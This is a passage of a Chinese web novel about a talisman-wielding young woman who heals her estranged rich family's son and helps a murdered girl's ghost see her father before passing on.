从他被符力逼出来的骨缝深处,丝丝缕缕的阴冷阴气,正顺着皮肤纹理缓缓渗出。 随着这股阴气出来,鹿翎脸色开始逐渐变得苍白。 她脸色一变。 本来以为只有一点,没想到这么多。 这完全超乎她的想象。 应该是常年在这栋别墅待久了,黑气已经深入他的骨缝中。 常年日积月累自然有这么多。 看来不止有裴耀阳身上有,怕是裴家其他人身上也有了。 医用类符咒这不同于其他镇煞、驱邪类符咒。 那类符咒杀伐凌厉,耗时少,见效快。 但医用类主打滋养修复,温和涤荡,不能以蛮力打散污秽,只能用正阳灵气,一点点渗透需要治疗的部位。 这意味着所需要的灵气是杀伐镇压类符咒的数倍。 鹿翎指尖悬在半空,维持着疏导灵力的结印姿势,指尖微微发颤。 细密的苍白迅速爬上他的脸颊,原本清冷透亮的唇色渐渐推进血色。 源源不断的灵力,顺着指尖涌出,尽数灌入裴耀阳右腿,硬生生压制翻涌的浓郁黑气。 旁边一直安静观望的林小满也觉察出异样,虚无的魂体微微晃动。 看着满天飘散的浓稠无比的阴冷黑气,眼底略过一丝茫然。 周遭弥散的阴冷阴气对活人是致命污浊,可对滞留人间、无法轮回的阴魂而言,却是最温和、最纯粹的养分。 不等她主动靠近,四散游离的黑气,像是受到天然的牵引,骤然调转方向。 一缕接着一缕。连绵不绝地朝着她虚无的魂体涌去。 原本近乎透明的魂魄,进肉眼可见地淋湿了几分,原本萦绕在周身的微弱死气也淡去不少。 林小满微微一怔,懵懂地看着自己变得清晰的双手,下意识轻喃:“好暖和。” 裴耀阳睁开双眼,全身酸软无力,视线茫然地落在前方,本来以为是医院那边在给自己做治疗。 下一瞬,她清楚看见,半空之中,静静漂浮着一个面容稚嫩,身形单薄的少女鬼魂。 死寂、冰冷、不属于活人的虚无感,瞬间席卷了裴耀阳所有感官。 剧痛残留的酸涩还在四肢百骸,猛然看见一只鬼出现在眼前。 双重冲击彻底击溃了他仅剩意识。 “啊——!” 一身短促凄厉的惨叫,卡在喉咙里溢出半分破碎的呜咽。 裴耀阳瞳孔骤然放大年底不满极致的惊恐,浑身剧烈抽搐了一下,原本惨白的面色瞬间毫无一丝血色。 他脑袋一偏,两眼翻白,眼前一黑,彻底晕厥过去,没了声息。 这声凄厉又突兀的惨叫,穿透VIP病房。 守在走廊的裴家一行人本就满心焦灼。时刻留意着病房里的动静。 这一声惨叫落下的瞬间,所有人脸色骤变。 “是耀阳!”杨丽华浑身汗毛竖起,心底不安彻底爆发,疯一样推开病房门。 “砰——!” 病房大门被撞开,门板撞在墙壁上,发出沉闷的巨响。 裴天逸、裴泽宇和裴淼淼紧随其后。 一行人尽数冲进病房,目光齐刷刷落在裴耀阳身上,满心是对裴耀阳的安危担忧,和鹿翎的戒备。 可入目所见的景象,直接让所有人浑身僵住,呼吸骤停。 暖色的灵气尚未散尽,丝丝缕缕浓郁阴冷的黑雾飘散。 半空中黑雾中央,少女身形虚无通透,双脚离地,悬浮在空中,她还未完全收敛身形。 魂魄经过阴气滋养,比先前愈发凝实,轮廓清晰可见,带着彻骨的死寂,轻飘飘飘在离病床不远的半空。 活人见鬼! 如此惊悚诡异的一幕,赤裸裸呈现在众人眼前。 杨丽华本就心神紧绷,常年身居富贵,养尊处优,哪里见过这般阴邪骇人的场景。 视线触及半空漂浮的鬼魂,她瞳孔猛缩,大脑一片空白,极致的恐惧席卷全身。 双腿骤然一软,连一声惊呼都来不及发出,双眼翻白,身体直直向后一倒,彻底晕在原地,一动不动。 “妈!” “丽华!” 裴泽宇裴淼淼同时惊呼出声,顾不上震惊,却还是慢了一步,只能眼睁睁看着杨丽华重重摔倒在地。 两人慌忙俯身察看,心头震颤不已,再抬头看向半空的鬼魂时,眼底写满了极致的惊恐与难以置信,浑身僵硬,手脚冰冷。 整间病房寂静得可怕,只剩下急促紊乱的呼吸。 所有人的注意力都被半空的鬼魂,以及晕厥在地的杨丽华牢牢吸引,无人留意病床之上的变化。 唯独鹿翎神色淡然,不见半分波澜。 她垂落微颤的指尖,缓缓收回最后一缕正阳灵力。 伴随着灵力彻底收束,裴耀阳腿上布满裂痕的石膏,“咔嚓”一声尽数碎裂,一片片脱落坠落在地。 厚重石膏落地碎裂的清脆声响,骤然划破死寂。 众人闻声猛地回神,下意识齐刷刷看向病床。 第57章:她生来该为裴家所用 裴耀阳那条原本被厚重石膏包裹住,甚至在手术后依然呈现出诡异扭曲角度的右腿,此刻竟然变得完好如初。 没有了石膏的遮挡,那截小腿的线条流畅自然,连皮肤上细小的绒毛都清晰可见。 原本因为粉碎性骨折而肿胀淤青的膝盖,此刻白皙得仿佛从来没受过伤。 裴泽宇正扶着昏迷的杨丽华,眼睛瞪得几乎要裂开,嘴巴张大能塞下一个鸡蛋。 他死死盯着裴耀阳的腿,脑子里只有一个念头在疯狂回荡: 这不可能...医生明明说的粉碎性骨折,要他们自己做好心理准备... 裴淼淼原本的尖叫声卡在喉咙里,脸色惨白如纸。 她看着裴耀阳那条好腿,嫉妒和不甘像毒蛇一般侵占她的心。 为什么? 为什么那个乡巴佬真能治好腿? 这不公平! 不! 一定是她用了歪门邪道的符咒,才能治好裴耀阳的腿的! 一定是! 一直没说话的裴天逸,此刻没有像其他人那样失态,但这双精明算计的眼睛里,此刻也翻涌着惊涛骇浪。 他看着鹿翎,两种截然不同的神色充满了他的眼睛。 恐惧和贪婪。 恐惧的是,如果鹿翎用这种办法对付他怎么办? 贪婪的是,鹿翎是他们裴家的孩子,她的一身本领自然是要给裴家用的。 鹿翎站在病床前,指尖残留着最后一丝灵力的余温。 她脸色有些苍白,毕竟是用医用类符咒强行续骨生肌。 还顺带进化了裴耀阳骨缝里的阴煞,消耗了她不少灵气。 她看都不看地上晕倒的杨丽华,也没理会那几个吓傻的裴家人,只是淡淡地扫了一眼床上依旧昏迷的裴耀阳。 “好了。” 两个字,轻飘飘的,却像重锤一样砸在每个人心上。 裴泽宇终于找到了自己的声音,他指着裴耀阳的腿,手指颤抖:“你...你真的...” 鹿翎嫌恶的皱了皱眉,仿佛在看什么脏东西,“既然治好了,我就走了。” 她转身动作干净利落,没有丝毫拖泥带水。 那件洗白的T恤下摆,随着她的动作微微晃动,衬得她背影单薄却又无比挺拔。 林小满冲他们做了个鬼脸,也跟着鹿翎离开了。 病房内,裴家所有人,除了昏迷的杨丽华和裴耀阳的目光外,齐刷刷地聚焦在鹿翎身上。 那是怎样的眼神呢? 不可置信。 是的,纯粹的、极致的不可置信。 裴天逸的眼神最为复杂。 他看着鹿翎离去的背影,拳头在身侧紧紧攥起。 这个女儿...不能放走。 绝对不能放走。 他心里的算盘打得霹雳作响,甚至已经开始盘算如何用“孝道”和“亲情”来彻底锁死路。 裴淼淼这是满眼惊骇与怨毒。 鹿翎越是优秀,就衬托出她这个“假千金“”一无是处。 她甚至想,如果刚才裴耀阳没有治好,是不是反而更好? 鹿翎走到门口,手搭在冰凉的金属门把手上,脚步微微一顿。 她没有回头,只是冷冷的声音传了过来:“裴耀阳的腿虽然接好了,但他魂魄受惊,最近几天会有些痴傻,记性也不太好,好好养着吧,别再惹是生非,否则下次神仙难救。” 说完,她拉开门。 “砰。” 门在身后观赏,隔绝了裴家那群人仿佛见鬼般的视线。 走廊里只有裴家那几个助理在。 他们不清楚里面发生了什么事,只听到好几声惨叫。 虽然有些好奇,但职业素养告诉他们,不能随便偷听别人讲话。 走廊灯光惨白,冷光落在鹿翎单薄的背上,倒显得有几分可怜。 她方才损耗大量灵气,本就白皙的脸颊此刻显得有几分病弱。 不正常的白。 唇色浅淡,近乎透明,细微的失重感顺着四肢蔓延开来。 鹿翎微微垂眸,抬手轻按了一下眉心,压住体内翻涌的酸胀。 跟在她身后的林小满,身形依旧半虚半实,经过阴气滋养,比最初凝实了不少,轻飘飘悬在半空,小声担忧道:“姐姐,你是不是很累啊?刚才耗了好多力气。” 鹿翎淡淡颔首,声音轻缓,“无妨,只是的她骨头里的黑气太多,远超预估。” 她没有多停留,径直朝电梯口走去。 林小满飘荡在她身侧,软糯的声音带着一丝后怕,“裴家人都好吓人呐,他们刚才看我们的眼神怪怪的,尤其是那个姐姐眼神凶巴巴的。” 方才她飘在空中,将所有人的神色尽收眼底。 鹿翎轻笑一声,“你是鬼啊,他们不怕你怕谁?” 闻言,林小满仿佛现在才反应过来自己不是人。 她吐了吐舌头,翘皮地笑道:“不好意思,我忘记了。” 鹿翎没说话了,腰间的布包突然亮了一下,开始发烫。 她微微挑眉,从包里拿出亮起发烫的符纸。 看来又有情况。 —— VIP病房内。 随着房门紧闭,死寂再次席卷全屋。 裴泽宇僵硬地松开扶着杨丽华的手,四肢发麻,他低头看向床上平躺,右腿完好无损地培养,喉咙干涩发疼,久久无法回神。 自家医院医生断言不可逆的粉碎性骨折,几道符咒,短短片刻,便彻底痊愈。 这已经超出医学范畴,更是颠覆了他20年的认知。 “爸...”裴泽宇转头看向身侧的裴天宇,声音发颤,带着极致的恍惚,“她...到底是什么人?” 这个她,大家都心知肚明,指的是谁。 这根本不是普通的歪门邪道,而是堪称逆天改命了。 裴天逸伫立在原地,背脊挺拔,眼底只剩下深沉的算计。 他望着紧闭的房门,指尖缓缓收紧,骨节泛白。 没错。 鹿翎必须留在裴家。 身怀如此通天本事,若是为旁人所用,裴家就是巨大隐患。 可若是牢牢握在自己手中,往后求财求运,逢凶化吉,都是伸手就来。 亲情,养育,孝道,这些世人固有的枷锁,就是困住她最好的枷锁。 “她是裴家人。”裴天逸一字一顿,语气笃定强势,“她,生来就该为裴家所有。” 一旁的裴淼淼死死咬着下唇,指甲深深掐进掌心,尖锐的刺痛都压不住她心底几翻涌的嫉妒。 凭什么? 凭什么她一个乡巴佬就拥有如此通天的本事? 裴淼淼胸腔酸胀扭曲,满心不甘:“爸,说不定就是旁门左道!是邪术害人!她刚才引出来的黑气那么吓人,说不定弟弟只是暂时好转,后续会被邪术反噬,遭遇更大的灾祸!” 第58章:裴耀阳疯了 她不愿承认鹿翎的厉害,只想拼命抹黑,推翻眼前所有的事实。 裴天逸冷冷扫了她一眼,目光锐利,带着训斥:“够了。” 他活了大半辈子,识人阅世,心里通透无比。 裴淼淼不过是嫉妒蒙蔽了心智。 “闭嘴。”裴天逸语气冷硬,“从今天起,不准再对你姐姐出言不敬。” 不仅不能得罪,还要极尽拉拢。 他看向床上依旧昏迷的裴耀阳,又扫过地面晕厥未醒的杨丽华,眼底闪过沉色。 鹿翎临走前的提醒绝非虚言。 “先把夫人扶起来安顿好,安排专人看护耀阳。”裴天逸迅速冷静下来,沉声吩咐,“派人跟着大小姐,不要惊动她,摸清她的去向、日常起居。” 他要彻底掌握鹿翎的一切,找准机会,将她牢牢捆回裴家。 —— 医院大门口。 鹿翎边走,手上拿着那张发亮的符纸,贴在耳边,另一只手甩布包。 听到裴家人,尤其是裴天逸的话,她冷笑出声。 还真把她当冤大头了。 这次治病没找他要钱就不错了。 还想让他当永久免费劳动力。 开什么玩笑? 还想派人跟着她? 一旁悬浮的林小满看着她冷淡的神色,隐约猜到了原委,魂体轻轻晃动,小声愤愤道:“姐姐,他们好过分啊!竟然还敢利用你!” 鹿翎收回耳边的听音符,塞回包里。 这张听音符是她出门前,顺便覆盖在门把手上面的。 本来想打听点裴家黑气的事。 没想到竟然听到这些恶心的话。 她简直是要吐了。 这些人怎么会说出如此令人作呕的话。 “那姐姐,我们现在去哪?”林小满问。 鹿翎想了想,转头很认真地问她,“你还有什么未了的心愿吗?” 林小满一愣,眼神变得茫然。 她摇摇头,“我不知道。” 鹿翎一听,有些急了,“不是,你连你的心愿是什么都不知道吗?” 林小满很认真地想,“要说心愿,我想再见见我的爸爸。” “就这个?” 林小满再想:“我还想要伤害我的人付出代价。” “还有呢?” “我想找到我的尸体。” 鹿翎一脸无语,“不是你这么多心愿,你还说不知道。” 这叫不知道吗? 这叫不好意思说吧。 果然如鹿翎说想。 林小满就是不好意思说,她尴尬地挠头,“心愿太多了,不好意思说出口。” 鹿翎没说话。 林小满以为她是不想给她满足心愿,连连摆手,“那算了吧算了吧,这么多愿望我也挺不好意思,让你全部给我实现,我就去见见我爸爸就行了。 鹿翎叹口气,“不是说不愿意帮你实现,我就是在想,现在是我为你服务,你不必这么小心翼翼,你想了却的心愿,我自然会给你完成。” “既然第一个愿望是去见爸爸,那我们今天晚上再出发。” 本来林小满还挺担心,鹿翎会不帮忙的。 因为每次她需要别人时,她都不好意思开口。 更何况这个还是她的救命恩人。 从小到大,她向来懂事怯懦,习惯了委屈自己,迁就他人,哪怕身死成魂,求人帮忙这件事,依旧让她满心局促。 可鹿翎的态度直白又温和,没有半分无奈,也没有丝毫敷衍,让她第一次觉得自己的心愿也值得被认真对待。 她很感动。 “真、真的吗?”林小满小声呢喃,透明的指尖微微前蜷缩,带着难以置信的雀跃,“我真的可以见爸爸吗?” “当然。”鹿翎垂眸,步履平缓的走在路灯下,光影在大清冷的侧,脸上明明灭灭,语气淡然从容。 “你魂魄滞留人间,本就因为执念未消,心愿未了,怨气不散,即便我放任不管,你的怨念也会日复一日被怨念缠绕,最终化作厉鬼,彻底消散在人间,我去接下你的因果,便自会帮你尽数了结。” 她抬手揣好身侧的布包,目光微沉。 —— 与此同时,裴家公司顶楼,总裁办公室。 裴昊然一身剪裁利落的黑色西装,指尖夹着钢笔,正低头处理堆积如山的合同。 他是被爸爸裴天逸赶回公司。 办公室房门被敲响。 裴昊然皱眉:“进。” 陈助理快步走到办公桌前,语气明显有些慌乱,“裴总出事了,听说鹿翎小姐去了医院,亲手给三少爷治好了粉碎性骨折。” 裴昊然抬眼,眉眼瞬间附上一层寒霜,周身气场骤然冷沉,“你开什么玩笑?” “这是真的,裴总。”陈助理拿出手机,刚要给他看证据。 裴昊然放在桌面上的手机突兀响起。 一看来电,备注是父亲。 很显然是裴天逸打来的电话。 接起电话后,不知道对面说了什么,裴昊然瞳孔骤缩,一脸不可置信。 挂断电话后,他看向陈助理,“备车,立刻去医院。” 他扔下钢笔,起身扯过椅背上的外套,风风火火朝外走去。 黑色轿车一路疾驰,不过半个小时就抵达私立医院。 裴昊然大步踏入VIP病房,刚走到门口,就听到病房内杂乱的低语。 推门而入的瞬间,他目光一扫,便看清屋里狼藉的景象。 杨丽华被一个人扶着躺在沙发上,面色苍白,毫无血色。 裴泽宇手足无措的守在旁边,裴淼淼垂着头,不知道在想什么,看不清眼底神情。 而病床上,原本右腿覆上厚重石膏的裴耀阳,双腿平直舒展,肌肤光洁完好,看不出半点骨折重伤的迹象。 不等他消化眼前的震撼,原本昏迷的培养猛地睁开双眼。 他双眼溃散空洞,瞳孔剧烈震颤,在昏死前见到的女鬼形象,依旧深深烙印在他的脑海里。 “有鬼!” “林小满找我来索命了!” “林小满不是我害死的!” 裴耀阳嘶吼出声,声音嘶哑,破碎,带着极致的恐惧。 “黑气...好多黑气,骨头里有东西在爬,好疼,好冷。” 他语无伦次,断断续续地嘶吼,尖叫,字句杂乱无章,像是彻底失了神智。 在场的裴家人皆是心头一颤,脸色愈发难看。 这件事绝对不能传到外面。 本来因为鹿翎在认亲宴那天,已经丢尽了脸面。 现在如果传出裴家三少爷现在成了个疯子,不就更丢了脸面吗? 裴浩然眉心狠狠蹙起,他快步走到病床前,眼底翻涌着几分说不清道不明的情绪。 有难堪,害怕,还有几分忌惮。 僵持几秒后,清脆又响亮的巴掌声骤然响起。 第59章:他们从来不是 “啪!” 力道十足的一巴掌狠狠落在裴耀阳脸上,瞬间将他癫狂的嘶吼生生打断。 裴耀阳被打的脑袋偏向一侧,半边脸颊迅速泛红肿胀,空洞涣散的眼神凝滞,混乱的思想短暂清明,却依旧浑身发抖,嘴唇哆嗦不止。 病房里一片死寂。 裴淼淼猛地抬头,眼底满是错愕,下意识想开口,对上裴昊然冰冷刺骨的眼神后,又下意识将所有话咽了下去。 她垂在身侧的手死死攥紧,指甲掐进掌心,心底满是不甘。 又是这样。 所有人都在偏袒鹿翎。 爸爸,哥哥。 家里有地位的人都在偏袒她。 凭什么! 裴耀阳变成这幅疯疯癫癫的模样,全都是鹿翎造成的。 可爸爸不仅不怪罪,反而骂了怎么这些从小在裴家长大的孩子。 沙发上的杨丽华缓缓睁开眼,脸色依旧惨白虚弱。 刚从昏迷中缓过来的她,看着病床上瑟瑟发抖、狼狈不堪的小儿子,心口猛然一灸。 丝毫没有注意到裴耀阳的右腿已经好了。 她虚弱出声,带着浓浓的心疼,“昊然,你干什么?你弟弟的腿才出问题,你不好好关心他,打他作甚。” “才出问题?”裴昊然声音冷硬刺骨,带着一丝极致的荒谬,“妈,你睁大眼睛好好看看。” 话音落下,他抬手指向病床。 杨丽华一愣,顺着他手指的方向慌忙看去。 下一秒,她整个人僵住。 只见原本缠满石膏的右腿干干净净,没有疤痕,没有伤痕,跟没半点受伤的痕迹。 昨天晚上还因为受伤的腿进了手术室,医生说了让他们做好心理准备的话。 此刻,这条腿躺在被褥里,安好无损,一如往常。 杨丽华瞳孔震颤,整个人呆着在原地,大脑一片空白,一时间竟说不出半个字。 怎么可能? 粉碎性骨折,怎么会在短短几个小时就彻底痊愈了? 一旁的裴泽宇轻轻叹气,低声补充道:“妈,刚刚鹿翎来过了,把耀阳的伤治好了。” 这句话如同惊雷,狠狠砸在杨丽华心头。 她怔怔看着裴耀阳完好的双腿,再看儿子孩子惊恐呆滞,几乎疯魔的神情,内心五味杂陈。 腿好了,但人却死了。 “有鬼...别过来...林小满...不要找我...不是我害死你的...”裴耀阳疯疯癫癫。 杨丽华看着儿子这幅神志尽失的模样,刚刚压下去的心疼再次翻涌上来,彻底盖过伤势痊愈的震惊。 伤好了,可她的儿子,也被吓疯了。 这有什么用? 她猛然抬起头,眼底蓄满了怒意和委屈,看向在场所有人,声音带着颤抖,“治好了又如何,就算是腿废了躺在床上人还是清醒的,现在呢?腿好了,人却疯了。” “我看那个鹿翎就是故意的,是她害得我的儿子成现在这个样子!” 最后一句,她说得咬牙切齿。 像是要把后槽牙咬断一般。 病房里的气氛瞬间紧绷到了极致。 杨丽华胸口剧烈起伏,脸色惨白,双眼通红,字字泣血,满是滔天恨意。 “裴耀阳好好的一个人,不就是伤了条腿吗?把耀阳变成这幅样子。”她伸手指向病床上瑟瑟发抖的裴耀阳,指尖因为用力泛白。 “分明是她存着报复的心,把怨气往我儿子身上撒,她就是把我们裴家当成砧板上的肉,任她揉捏羞辱吗?” “我看她根本就没把裴家放在眼里,什么亲情血脉,全是狗屁。”不知道是杨丽华第几次说这么粗鲁的话了。 她语气里充满了疯狂,“她就是见不得我们好!我警告你们,谁要是再对她这么客气,我就跟谁急,这个女人就是我们家的灾星,是她毁了耀阳!” “我就没见过这么歹毒的女人,治得好心伤,治不好人心,干脆别治了,留着耀阳当个废人,也好比现在变成个疯子强。” 难听的脏话,恶毒的揣测,如同潮水般倾泻而出。 裴淼淼站在一边,听得句句解气,眼里飞快地闪过一丝快意,随即又装出满脸担忧的模样,假意去扶杨丽华,“妈,您别气坏了身体...” 裴天逸眉眼阴沉,他静静听着屋内如同泼妇骂街的控诉,没说话。 杨丽华还在喋喋不休,口中说着最难听的话,“早知道我就不把她接回来了,老裴你也是,死护着她!现在好了,家宅不宁,耀阳被毁了,我看你就是被她迷了心窍。” “啪!” 一声脆响,猝不及防地炸开。 裴天逸抬手狠狠一巴掌甩在杨丽华脸上。 力气之大,让杨丽华整个人都有些被打蒙了,半边脸瞬间红肿起来,嘴角渗出血丝。 整个病房瞬间鸦雀无声,连空气都静止了。 杨丽华难以置信地捂着脸,回头瞪向裴天逸,眼泪瞬间涌了出来,“你...你打我?” “我是在打醒你!”裴天意气的胸口发闷,声音冷冽如冰,直直刺向杨丽华,“你刚才说的什么话?满口污言秽语,疯癫无状!” “我来告诉你,鹿翎是我的女儿,是裴家的大小姐!我早就说过,如果再对鹿翎出言不逊。” “休怪我不念夫妻情分。” 杨丽华被打得愣在原地,脸上火辣辣的疼,心里更是一片冰凉。 她张张嘴,想要反驳,却被裴天逸冰冷锐利的眼神,逼得一句话也说不出来,只能任由眼泪噼里啪啦掉落。 裴淼淼见状,立刻上前扶住杨丽华,眼底闪过一丝不易察觉的,却不敢表露半分,只能低声劝道:“妈,爸也是气坏了,您别往心里去...” 病房内再次陷入压抑的沉默,只有裴耀阳还在断断续续地说话。 在这安静的空间里,显得格外诡异。 裴昊然环视房间所有人,眉眼沉了下来。 —— 身在漩涡中心的鹿翎自然是把这番话听得一清二楚。 本来听音符是被她放在布包里,没有丝毫异常。 但到后面,符纸越来越烫,烫得她是在受不了了,把符纸拿了出来。 刚想捻灭,杨丽华破口大骂的声音传了出来。 震得鹿翎耳朵疼。 林小满一脸震惊地看向鹿翎,视线又看了眼她手中的符纸,问道:“姐姐...他们是你的家人吗?怎么...” 怎么骂你骂得这么难听啊... 最后一句她不敢说出口。 她怕说出来,把鹿翎弄伤心了。 鹿翎沉默下来。 他们是我的家人吗? 不是吧... 鹿翎抬头,回:“不是。” 第60章:见她爸爸 时间很快过去,已经到了晚上。 听音符被她碾成碎渣,消失在夜空中。 病房里那些尖锐刻薄的咒骂,一字一句清晰无比地落入她的耳中。 杨丽华歇斯底里的控诉,字字诛心,将所有的过错全都推在她身上。 污蔑她歹毒记仇,蓄意害人,把她当做毁了裴耀阳,搅乱裴家的灾星。 家人? 何其可笑的两个字。 林小满飘在她的身侧,看着鹿翎没什么表情的脸,平静得近乎恐怖,声音带着几分小心翼翼的迟疑:“姐姐...” 鹿翎眉眼清淡,无喜无悲,听不出半点情绪,只有彻骨的寒意,“从来都不是。” 林小满看着她淡然的模样,反倒越发心痛,还以为是她被裴家人伤透了心,小声安慰道:“姐姐别难过,他们不懂得你的好,是他们的损失。” 鹿翎没说话,微微勾唇,“我没事。” “现在,该来解决你的事了。”她收回视线,“告诉我,你爸爸现在住哪?” 比起裴家一地鸡毛事,了却林小满的知念,才是眼下最重要的事。 —— 林小满的父亲林建国,常年在工地务工,为了省钱,独自住在一片老旧居民楼里。 夜色渐深,夜里九点。 鹿翎站在楼道尽头的住户门口,抬眼看向虚掩的房门。 屋内灯光昏暗,陈设简陋破旧,小小的一室一厅,堆满了廉价的生活用品,处处透着拮据与清贫。 一个洗得发白工装外套的中年男人,正佝偻着脊背,坐在餐桌前。 他眉眼疲态,鬓角夹杂着密密麻麻的白发,掌心布满厚重的老茧,指关节粗糙变形,是常年干重活留下的痕迹。 桌面上只有一碗清汤挂面,连半点配菜都没有。 男人没动筷子,只是单手撑着额头,沉默地坐在灯下,被一诺没有单薄。 几秒后,他拿出压在桌底的老旧相片。 相框里是张几年前的照片。 小姑娘扎着马尾,眉眼干净温顺,旁边站着位漂亮恬静的女人。 很显然,是林小满的妈妈。 男人粗糙的指腹,一遍遍轻轻摩擦着相框里少女和女人的脸颊,浑浊的眼睛红得彻底,压抑许久的哽咽在喉咙里反复打转。 “满满,淑雅,我好想你们...”声音嘶哑极了。 悬浮在门口的林小满彻底僵住。 透明混体剧烈晃动,原本澄清的眼底瞬间蓄满了细碎的泪光,轻飘飘的身体微微颤抖。 她终于再次看见了自己的父亲。 “爸爸...” 鹿翎站在他旁边,指尖夹着一张黄色符纸。 符纸朱砂纹路清晰,笔锋伶俐,透着淡淡的灵气。 “这是显灵符。”他将福祉递到林小满面前,“贴在眉心默念三声,‘引魂显形’,你便可短暂现形,让你父亲见你一面。” 林小满看着那张泛着微光的符纸,眼底蓄满了泪光,“姐姐...我真的可以吗?” 鹿翎点头,“速去速回。” “我明白!”林小满用力点头,小心翼翼接过显灵符,深吸口气,缓缓抬手将符纸贴在自己透明的眉心。 鹿翎估摸时间,双手掐诀念咒,“敕令显灵,破妄开障;阴阳通路,灵光垂降;过往迷影,不得隐藏;三息显形,听吾法章!” 咒语念完后的刹那,淡色灵光骤然散开,笼罩了林小满透明单薄的魂体。 细碎的光阴顺着她的轮廓,层层勾了原本虚无缥缈的身形,一点点凝视,开始变得清晰起来。 单薄的衣裙渐渐现形,苍白的眉眼,褪去了鬼魂特有的幻想,恢复了生前青涩柔软的模样。 林小满怔怔抬起双手,满脸不可置信。 看着自己变得真实的手掌,眼底积压许久的泪水瞬间滚落。 她回头看向门口身侧的鹿翎,少女立在阴影之中,身姿清瘦,眉眼平静,只是微微颔首示意。 得到应允,林小满抬步,轻轻推开那扇虚掩的房门。 老旧的木门发出细微的吱呀声响,打破了屋内死寂的氛围。 林建国闻言抬头,布满疲惫与红血丝的双眼骤然一僵。 灯下,少女眉眼温顺,模样与记忆里一模一样,青涩乖巧,安静地站在门口,目光灼灼地望着他。 只是短短一瞬,林建国攥着相框的手收紧,骨节泛白。 他僵硬地坐在凳子上,不敢动弹,双眼死死看着眼前的人。 “满满?”他声音沙哑干涩,带着难以置信的颤抖。 他的女儿不是死了吗? 怎么出现在他的眼前? 这是错觉吧? 林小满缓步走到餐桌前,看着鬓角花白的父亲,目光移到桌上一碗寡淡无味的清汤挂面,鼻尖酸涩。 她微微弯腰,目光温柔地落在男人身上,轻声唤道:“爸爸,是我,我是满满。” 简单四个字,击溃了林建国所有的隐忍。 他不在思考,明明死了的女儿,为什么会出现在自己眼前? 这对于他来说,并不是值得思考的事。 他现在只知道自己的女儿回来了。 林建国眼眶通红,常年劳作,布满老茧的手抬起,想要触碰女儿的脸颊,就怕眼前是幻觉,一碰就碎。 狭义简陋的房间里,没有多余的言语。 门外,鹿翎收回目光,悄然转身,缓步走下楼梯。 她知道现在不是她在场的时候。 她要做的事,就是在楼下,等着林小满回来。 可不过片刻功夫,她突然觉察到楼上,灵气尽数消散。 鹿翎眉眼微凝,心底生出一丝诧异。 显灵符时效按理来说没有这么短,足以能支撑林小满和她父亲说好一阵了,怎么这么快就消散了。 鹿翎本想上楼,偷摸查看一番。 就在这时,她的手机开始震动。 屏幕上跳动着一串陌生号码,没有名字。 鹿翎垂眸,指尖划过挂断键。 挂断没一秒钟,对方再次打来。 鹿翎皱起眉头,还是接听了电话。 电话那头男声冷硬疏离,带着一贯的冷淡,还有毫不掩饰的排斥。 没有客套铺垫,裴昊然直接进入主题语气生硬,“耀阳的腿到底是怎么回事,还有他看见林小满的鬼魂,是不是你干的。” 鹿翎一愣。 没想到打来电话的人是他。 他是怎么知道自己的手机号的? 不过她也没多纠结,不答反问,“林小满的死是不是跟你们有关系?” “或者换句话说,是裴耀阳杀了林小满,然后你再给他收拾烂摊子。” 第61章:入轮回 隔着冰冷的听筒,鹿翎几乎能想象出裴昊然那张面无表情的脸。 片刻后,裴昊然低沉冷硬的嗓音再次传来,不带半分愧疚,只剩默然的辩驳,“跟你有什么关系?我是在问你裴耀阳的腿和林小满的鬼魂,是你动的手脚吗?” 鹿翎挑眉,反呛一句,“跟你有什么关系?” “你!”裴昊然气急,“我告诉你,你身上有裴家的血脉,你是裴家人,不要净想着胳膊肘往外拐,裴耀阳是你的弟弟,而我是你哥。” 鹿翎冷笑,“我可不想跟你们裴家扯上任何关系。” “我再提醒你一句,世上从无平白无故的怨鬼,只有无处申冤的活人。” 对方还想说什么,但鹿翎已经觉察出来,在他还没说话,就挂断了电话。 既然他不想说,那自己就去查。 总能找到点蛛丝马迹,总有哪些地方是他们遗漏的点,世界上没有完美的犯罪。 可就在这时,鹿翎瞳孔微缩,心头猛地一沉。 楼上的阴气,以一种极致迅猛的速度消散,彻底归于虚无,消失得无影无踪。 鹿翎也顾不得打搅父女俩的温馨时刻,猛然抬眼望向楼上。 不对劲。 太不对劲了。 林小满不过离世短短半个月,魂魄怨气微薄,执念深重。 方才她动用显灵符,本可为她维持至少两到三个小时的显形时间,足够她和林建国好好告别。 可如今,显灵符的灵力消失,就连林小满鬼魂的阴气也消散。 属于那种意义上的荡然无存,意味着亡魂已经彻底消失在阴阳两界。 她感受到,林小满的灵魂不是消散的,而是进入轮回了。 鹿翎心底生出强烈的惊诧与错愕。 寻常亡魂执念未消,不入地府,不得轮回,本该滞留人间受尽漂泊苦楚,这是阴阳天道亘古不变的规矩。 林小满,郁结未散,牵挂缠身,根本达不到轮回往生的条件。 她几乎没有迟疑,脚步急促,三步并作两步冲上楼梯。 房门依旧虚掩着,鹿翎轻轻推门而入,屋里的景象安静得近乎可怕。 餐桌前,林建国依旧维持抬手的姿势,大手悬停在半空,指尖微微颤抖。 男人眼眶依旧湿润。 屋里早就没了少女透明的魂影。 桌面上那碗清汤挂面依旧没动,老旧相框摆在桌角,照片里,母女两人眉眼温和,岁月静好。 鹿翎站在门口,身形僵在原地,眼底满是难以置信的震惊。 可以说她从记事起,就开始修行玄门术法,已经有十几年了。 师傅未明子还曾夸过她,是玄门千年难遇的奇才。 通晓阴阳命理,见过无数滞留人间的亡魂,可还是第一次见,没踏入地府,彻底踏入轮回之道的亡魂。 寻常亡魂,须经阴差引渡,过奈何桥,喝孟婆汤,洗去前程,方能转世。 可林小满没有任何仪式,没有任何征兆,就在她上楼的前一刻,凭空消失,了无踪迹。 这又是什么道理? 她反复回想,显灵符的灵力,绝无可能在如此短的时间内耗尽,那可是她花了挺长时间绘制的上品符箓。 那么唯一的解释,就是林小满的执念,在见到父亲的刹那,就已经圆满了。 她不想让伤害自己的人付出代价,也不想知道自己的尸体埋在哪里。 她只想最后看一眼父亲。 支撑她滞留人间的半个月,从来不是对裴耀阳的怨恨,而是对父亲那一份沉甸甸的牵挂。 见一面,了一生。 这份纯粹到极致的亲情,竟硬生生冲破了天道的常规,这让本就要滞留人间一段时间的林小满自行圆满,往生极乐了。 鹿翎深吸口气,压下胸腔中翻涌的震惊,什么都没说,转身离开这里。 —— 与此同时。 裴昊然那边。 他现在已经回到公司。 电话那头传来冰冷的忙音。 裴昊然看着黑屏的手机,整张脸阴沉到极致,戾气翻涌 他是裴家的长子,活了二十多年,从来没有人敢这样对他,屡次顶撞,肆意挑衅。 更让他忌惮的是鹿翎,刚才的问话字字直指林小满的死因。 